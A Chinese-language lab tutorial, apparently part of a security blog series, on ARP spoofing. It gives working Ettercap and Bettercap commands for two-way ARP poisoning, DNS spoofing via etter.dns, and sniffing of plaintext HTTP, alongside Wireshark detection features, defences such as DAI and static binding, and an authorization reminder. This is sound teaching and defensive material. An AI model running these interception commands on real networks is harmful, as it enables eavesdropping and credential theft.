文章目录
- 一、为什么 ARP 欺骗是内网 MITM 的「入门必修课」?
- 二、ARP 协议速览(安全视角)
- 2.1 工作流程
- 2.2 ARP 缓存表
- 2.3 无状态 = 漏洞根源
- 三、ARP 欺骗原理
- 3.1 单向欺骗 vs 双向欺骗
- 3.2 双向欺骗示意图
- 3.3 与交换机的关系
- 四、实验环境准备
- 4.1 拓扑(专栏标准 Host-Only)
- 4.2 受害机配置
- 4.3 攻击机准备
- 4.4 打快照
- 五、Ettercap 图形界面实验
- 5.1 启动与选网卡
- 5.2 设置目标
- 5.3 开始 ARP 欺骗
- 5.4 验证欺骗成功
- 六、Ettercap 命令行实验(推荐复现)
- 6.1 基础双向 ARP 欺骗
- 6.2 配合 DNS 欺骗
- 6.3 嗅探明文 HTTP
- 七、Wireshark 分析 ARP 欺骗
- 7.1 正常 ARP
- 7.2 欺骗特征
- 7.3 对比实验记录表
- 八、Bettercap 现代替代(简览)
- 九、检测 ARP 欺骗
- 9.1 主机侧
- 9.2 网络侧
- 9.3 Wireshark / IDS 规则思路
- 9.4 蓝队狩猎问题
- 十、防御措施汇总
- 十一、ARP 欺骗与其他攻击链
- 十二、完整实验步骤清单(90 分钟)
- 十三、常见踩坑
- 十四、法律与伦理
- 十五、本篇小结
- 附录 A:Ettercap 命令速查
- 附录 B:ARP 报文字段(Wireshark)
- 附录 C:与专栏前篇关联
一、为什么 ARP 欺骗是内网 MITM 的「入门必修课」?
局域网通信看似「IP 对 IP」,实际先要「IP → MAC」:
我要访问 192.168.56.30 → 先查:这个 IP 的 MAC 是多少? → 再问:以太网帧发给谁?这个映射由ARP(Address Resolution Protocol)完成。ARP 设计于可信局域网时代——没有认证,谁都可以回答:
「192.168.56.1 的 MAC 是我!」
攻击者利用这一点,就能成为中间人(MITM):
| 后果 | 说明 |
|---|---|
| 流量嗅探 | 明文 HTTP、FTP、Telnet 可被截获 |
| DNS 欺骗 | 配合 dns.spoof 劫持解析 |
| 会话劫持 | 篡改未加密流量 |
| SSL 剥离 | 配合 sslstrip 降级 HTTPS(靶场演示) |
上一篇 DNS 缓存投毒 在内网常需先 ARP 欺骗才能把 DNS 响应送到攻击者手里。本文把 ARP +Ettercap一次讲透。
二、ARP 协议速览(安全视角)
2.1 工作流程
主机 A(192.168.56.10)想知道 192.168.56.30 的 MAC: A 广播:「Who has 192.168.56.30? Tell 192.168.56.10」 (ARP Request) ↓ 二层广播 ff:ff:ff:ff:ff:ff 全网收到 30 单播:「192.168.56.30 is at aa:bb:cc:dd:ee:ff」 (ARP Reply) ↓ A 写入 ARP 缓存表2.2 ARP 缓存表
# Linuxipneigh show arp-n# Windowsarp-a| 字段 | 含义 |
|---|---|
| IP | 目标地址 |
| MAC | 硬件地址 |
| STATE | REACHABLE / STALE 等 |
| 过期 | 动态条目会超时更新 |
静态绑定(防御手段之一):
sudoipneigh replace192.168.56.1 lladdr 08:00:27:xx:xx:xx dev eth0 nud permanent2.3 无状态 = 漏洞根源
· Request 可广播,Reply 可被任意主机代答 · 收到 Reply 后通常直接更新缓存,不验证「是否我问过」 · 支持 Gratuitous ARP(无故公告):「我是 192.168.56.1,MAC 变了」Gratuitous ARP本用于 IP 漂移通知,攻击者用来强行刷新全网缓存。
三、ARP 欺骗原理
3.1 单向欺骗 vs 双向欺骗
| 模式 | 做法 | 效果 |
|---|---|---|
| 单向 | 只骗受害者「网关 MAC 是我」 | 出站流量经攻击者,回程可能不经过 |
| 双向(完整 MITM) | 骗受害者 + 骗网关 | 双向流量都经攻击者 |
Ettercap 默认双向 ARP 欺骗,形成完整中间人。
3.2 双向欺骗示意图
正常: 受害机 10 ──────────────► 网关 1 ──────► 外网 直接二层转发 ARP 欺骗后: 受害机 10 ──► 攻击者 Kali ──► 网关 1 ──► 外网 ▲ │ └────┘ 回程同样经 Kali 转发攻击者需开启IP 转发,否则流量到 Kali 后断掉:
# Linux 开启转发sudosysctl-wnet.ipv4.ip_forward=1# 持久化echo'net.ipv4.ip_forward=1'|sudotee-a/etc/sysctl.conf3.3 与交换机的关系
现代交换机按MAC 地址表转发。ARP 欺骗后:
· 受害机以为网关 MAC = 攻击者 MAC → 发给攻击者网卡 · 网关以为受害机 MAC = 攻击者 MAC → 回程也发给攻击者 · 攻击者再替真实 MAC 转发 → 交换机被「逻辑劫持」注意:这不同于 MAC 泛洪(物理填满 CAM 表),ARP 欺骗更安静、更常见。
四、实验环境准备
4.1 拓扑(专栏标准 Host-Only)
网关/靶机 Ubuntu 192.168.56.1 (或路由器 VM) Kali 攻击机 192.168.56.10 受害机 Ubuntu 192.168.56.30 网段 192.168.56.0/24最小两机方案:Kali 10 欺骗 30,把 30 的默认网关设为 10 的「假网关」角色——或三台 VM 更清晰。
4.2 受害机配置
# 192.168.56.30ipaddradd192.168.56.30/24 dev eth0iprouteadddefault via192.168.56.1# 启动 nginx 便于观察sudoaptinstall-ynginxcurlhttp://192.168.56.30# 自测4.3 攻击机准备
# Kali 自带 ettercapettercap-vsudosysctl-wnet.ipv4.ip_forward=14.4 打快照
victim-clean / gateway-clean / kali-clean五、Ettercap 图形界面实验
5.1 启动与选网卡
sudoettercap-GSniff → Unified sniffing → 选 Host-Only 网卡(如 eth1 / enp0s8) Hosts → Scan for hosts(或按 h 扫描) Hosts → Hosts list应看到192.168.56.1、192.168.56.30等。
5.2 设置目标
选中 192.168.56.30 → Add to Target 1(受害机) 选中 192.168.56.1 → Add to Target 2(网关)Target 1 = 受害方,Target 2 = 第二方(双向欺骗时两个都要)。
5.3 开始 ARP 欺骗
Mitm → Arp poisoning ☑ Sniff remote connections ☑ Only poison one-way (不勾 = 双向,推荐不勾) → Start5.4 验证欺骗成功
在受害机 30 上:
arp-n|grep192.168.56.1# 网关 MAC 应变为 Kali 网卡 MAC,而非真实网关ipneigh show192.168.56.1在 Kali 上抓包:
sudotcpdump-ieth1host192.168.56.30-wmitm.pcap受害机访问外网或curl http://某站,Kali 应能看到其流量。
六、Ettercap 命令行实验(推荐复现)
6.1 基础双向 ARP 欺骗
# -T 文本界面 -q 安静 -M arp ARP模式 /网关IP/受害IP/sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//| 参数 | 含义 |
|---|---|
-i eth1 | 监听接口 |
-M arp:remote | 远程连接也嗅探 |
/IP1// /IP2// | 欺骗两端 |
6.2 配合 DNS 欺骗
编辑/etc/ettercap/etter.dns:
www.test.local A 192.168.56.10 *.test.local A 192.168.56.10启动:
sudoettercap-T-q-ieth1-Pdns_spoof-Marp:remote /192.168.56.1// /192.168.56.30//受害机:
pingwww.test.local# 应解析并指向 10curlhttp://www.test.local6.3 嗅探明文 HTTP
受害机访问HTTP(非 HTTPS)站点,Ettercap 可插件记录。
或配合:
sudoettercap-T-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# 另开终端sudowireshark-ieth1-f"host 192.168.56.30"过滤器:
ip.addr == 192.168.56.30 && http右键 →Follow HTTP Stream查看明文。
七、Wireshark 分析 ARP 欺骗
7.1 正常 ARP
arp- Request:Who has x.x.x.x?
- Reply:x.x.x.x is at MAC(来自真实主机)
7.2 欺骗特征
| 特征 | 说明 |
|---|---|
| 大量 Gratuitous ARP | Opcode 为 reply,但 Who has 与 Tell 为同一 IP |
| MAC 冲突 | 同一 IP 对应不同 MAC(时间先后) |
| 高频 ARP Reply | Ettercap 持续刷新缓存 |
过滤器:
arp arp.opcode == 2 # 仅 Reply7.3 对比实验记录表
| 时间 | IP | 声称 MAC | 真实归属 |
|---|---|---|---|
| T0 | 56.1 网关 | 08:00:27:aa | 网关 |
| T1 | 56.1 网关 | 08:00:27:bb | Kali← 欺骗后 |
八、Bettercap 现代替代(简览)
Ettercap 经典但略老;Bettercap更活跃:
sudobettercap-ifaceeth1# 交互命令net.probe on net.showsetarp.spoof.targets192.168.56.30setarp.spoof.fullduplextruearp.spoof onsetnet.sniff.localtruenet.sniff on| 对比 | Ettercap | Bettercap |
|---|---|---|
| 界面 | GTK / TUI | 交互式 REPL + Web UI |
| 模块 | 插件 | caplets 脚本 |
| 学习资料 | 极多 | 增长中 |
专栏建议:Ettercap 懂原理,Bettercap 做日常靶场。
九、检测 ARP 欺骗
9.1 主机侧
# 网关 MAC 是否变化ipneigh show192.168.56.1# 安装 arpwatch(监控 ARP 变化发邮件/日志)sudoaptinstallarpwatch脚本思路:定期对比网关 MAC 与基线文件。
9.2 网络侧
| 手段 | 说明 |
|---|---|
| DAI(动态 ARP 检测) | 企业交换机按 DHCP 表校验 ARP |
| 静态 ARP | 关键服务器绑定 IP-MAC |
| 802.1X | 端口认证,非授权设备难介入 |
| NDP 监控 | IPv6 对应问题用 RA Guard |
9.3 Wireshark / IDS 规则思路
告警:同一 IP 在 60 秒内出现 2 个以上不同 MAC 的 ARP Reply 告警:Gratuitous ARP 频率 > 10/分钟(内网主机)Zeekarp.log:记录 MAC-IP 绑定变化。
9.4 蓝队狩猎问题
· 内网哪台主机在发大量 ARP Reply? · 网关 MAC 是否在多台终端上显示不同值? · 新接入设备是否立即成为某 IP 的「新 MAC」?十、防御措施汇总
| 层级 | 措施 | 适用 |
|---|---|---|
| 终端 | 静态 ARP 绑定网关 | 服务器、工控 |
| 交换机 | DAI + DHCP Snooping | 企业接入层 |
| 协议 | 全站 HTTPS、HSTS | 防嗅探明文 |
| 架构 | 网络分段、802.1X | 减广播域 |
| 监控 | arpwatch、Zeek、NDR | 发现异常 |
| 无线 | WPA2-Enterprise | 防开放式 WiFi ARP |
现实话:家庭/小实验室靠 HTTPS 最有效;企业靠DAI + 802.1X + 监控。
十一、ARP 欺骗与其他攻击链
ARP 欺骗(二层 MITM) ├─► 明文 HTTP 嗅探 ├─► DNS 欺骗(etter.dns / bettercap dns) ├─► SSL 剥离(sslstrip,HTTPS 降级,靶场) ├─► 注入 Cookie / 替换下载文件 └─► 为 NTLM 中继等内网攻击铺路Kill Chain 位置:内网横向时的中间人前置,常在「立足点」之后。
十二、完整实验步骤清单(90 分钟)
□ 1. 三台 VM Host-Only,确认互 ping □ 2. 受害机记录网关真实 MAC:arp -n □ 3. Kali 开启 ip_forward=1 □ 4. ettercap 双向 ARP 欺骗(CLI 或 GUI) □ 5. 受害机再次 arp -n,确认网关 MAC 变为 Kali □ 6. Wireshark 在 Kali 抓 arp + http 包 □ 7. 受害机 curl 明文 HTTP,Kali Follow Stream □ 8. 配置 etter.dns,验证 DNS 欺骗 □ 9. 停止 ettercap,受害机 ARP 是否恢复(等超时或手动删) □ 10. 写实验报告:原理 + 抓包截图 + 防御建议十三、常见踩坑
| 问题 | 原因 | 解决 |
|---|---|---|
| 欺骗后受害机断网 | 未开 ip_forward | sysctl -w net.ipv4.ip_forward=1 |
| 选错网卡 | 抓到 WiFi 而非 Host-Only | ip a确认 vboxnet0/eth1 |
| HTTPS 看不到内容 | 加密正常 | 只能看握手;勿在生产搞 sslstrip |
| Ettercap 目标设反 | Target1/2 含义 | 两个都要加,双向不勾 one-way |
| 桥接模式实验 | 影响局域网 | 改 Host-Only |
| arp 缓存不更新 | 静态条目 | ip neigh flush all |
| macOS 受害机 | ARP 行为差异 | 仍可用,注意防火墙 |
十四、法律与伦理
✅ 允许:自有 VM、书面授权的内网渗透项目、CTF ❌ 禁止:公司办公网、咖啡厅 WiFi、宿舍网「练手」 ❌ 禁止:窃取他人账号、密码、个人信息中间人能力越大,授权边界越要清晰。渗透报告须写明 ARP 欺骗范围与时长。
十五、本篇小结
┌─────────────────────────────────────────────────────────────┐ │ ARP 欺骗 核心记忆 │ ├─────────────────────────────────────────────────────────────┤ │ ARP 无认证 → 可伪造 Reply / Gratuitous ARP │ │ 双向欺骗 + IP 转发 = 完整 MITM │ │ Ettercap:-M arp:remote /网关// /受害// │ │ 验证:受害机 arp -n 中网关 MAC 是否变攻击机 │ │ 检测:同 IP 多 MAC、异常 Gratuitous ARP │ │ 防御:DAI、静态绑定、HTTPS、802.1X、arpwatch │ └─────────────────────────────────────────────────────────────┘下一篇预告:《HTTP/HTTPS 安全深度剖析:抓包、解密与证书陷阱》——MITM 之后如何看加密流量。
附录 A:Ettercap 命令速查
# 扫描主机sudoettercap-T-ieth1 // //# 双向 ARP 欺骗sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# ARP + DNS 欺骗sudoettercap-T-q-ieth1-Pdns_spoof-Marp:remote /192.168.56.1// /192.168.56.30//# 图形界面sudoettercap-G附录 B:ARP 报文字段(Wireshark)
| 字段 | 说明 |
|---|---|
| Opcode 1 | Request |
| Opcode 2 | Reply |
| Sender MAC / Sender IP | 谁在说 |
| Target MAC / Target IP | 问谁 / 告诉谁 |
Gratuitous ARP:Sender IP == Target IP,用于公告「我在这」。
附录 C:与专栏前篇关联
| 前篇 | 关联 |
|---|---|
| DNS 安全 | dns.spoof 依赖 ARP MITM 在内网生效 |
| Wireshark | arp、http过滤器验证 |
| TCP/IP | MITM 后仍可抓 SYN/HTTP |
| Kill Chain | 内网横向、凭据嗅探前置 |